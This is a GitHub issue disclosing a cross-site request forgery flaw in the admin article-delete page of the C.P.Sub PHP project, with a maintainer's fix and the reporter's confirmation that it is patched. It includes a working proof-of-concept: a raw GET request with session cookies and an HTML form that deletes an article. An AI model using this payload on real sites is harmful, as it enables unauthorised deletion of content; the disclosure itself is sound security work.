Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

CSRF - Delete an announcement article arbitrarily #3

Closed
KdiagHaci opened this issue Sep 20, 2018 · 2 comments
Closed

CSRF - Delete an announcement article arbitrarily #3

KdiagHaci opened this issue Sep 20, 2018 · 2 comments
Assignees
@cooltey

Comments

@KdiagHaci
Copy link

KdiagHaci commented Sep 20, 2018 •
edited
Loading

Hey , C.P.Sub

In your Background admin delete Article section, did not produce relevant token verification source caused CSRF, and the "get" parameter value is very dangerous.

List：

http://website/manage.php?p=article_list

Poc Payload：

**

GET /manage.php?p=article_del&id=ID HTTP/1.1
Host: your_website
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://127.0.0.1/456/manage.php?p=article_list
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=test%7C1537587372%7CgZf4275f8FC9rh5rffBvPrfPZwQBwSdtTLoKtW1JdQ6%7C4350d349b75ea62d1bbd963b4ee5460a95206b92a5df2dd7899ff7ccdc51bea3; wp-settings-1=mfold%3Do; wp-settings-time-1=1537414573; cerber_groove=49d7bce85e1b8082ab6d6cdf0854abc8; cerber_groove_x_Ad7onvqFrh3GYs8jQ1I24UyDpVRC=G0c9tWNuhQ4Z8azbyspmHrx7fYE5XM; _awtvW=Zqmk3E; gXSlbZOPaVqTWrR=%5DjCLPER7IhSHZkD; tUAnShmrCET=gLvmBVQPSwn; AJeZVoHYa=Gd3nvWzpe; PHPSESSID=hbdcrh6cj6jgl9v4jo5gedbcp6
Connection: close

default

**

Poc Payload：

<html>
<head>
<title>CSRF</title>
</head>
<body>


  <script>history.pushState('', '', '/')</script>
    <form action="http://website/manage.php">
      <input type="hidden" name="p" value="article&#95;del" />
      <input type="hidden" name="id" value="2" />
      <input type="submit" value="Hello" />
    </form>


</body>
</html>

You can see that after obtaining the parameters of the direct splicing instructions, also echo the relevant commands, no relevant rigorous filter inspection caused the vulnerability：

default
@cooltey cooltey mentioned this issue Feb 9, 2019
Merged
@cooltey cooltey self-assigned this Feb 10, 2019
@cooltey
Copy link
Owner

cooltey commented Feb 10, 2019

Please check/review the PR to see if it resolves the issue.

@KdiagHaci
Copy link
Author

KdiagHaci commented Feb 11, 2019 •
edited
Loading

Hey, Cooltey

Thank you for your reply.

I'm sure the problem has been patched up.

Regards,

@cooltey cooltey closed this as completed Feb 11, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@cooltey cooltey

Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@cooltey @KdiagHaci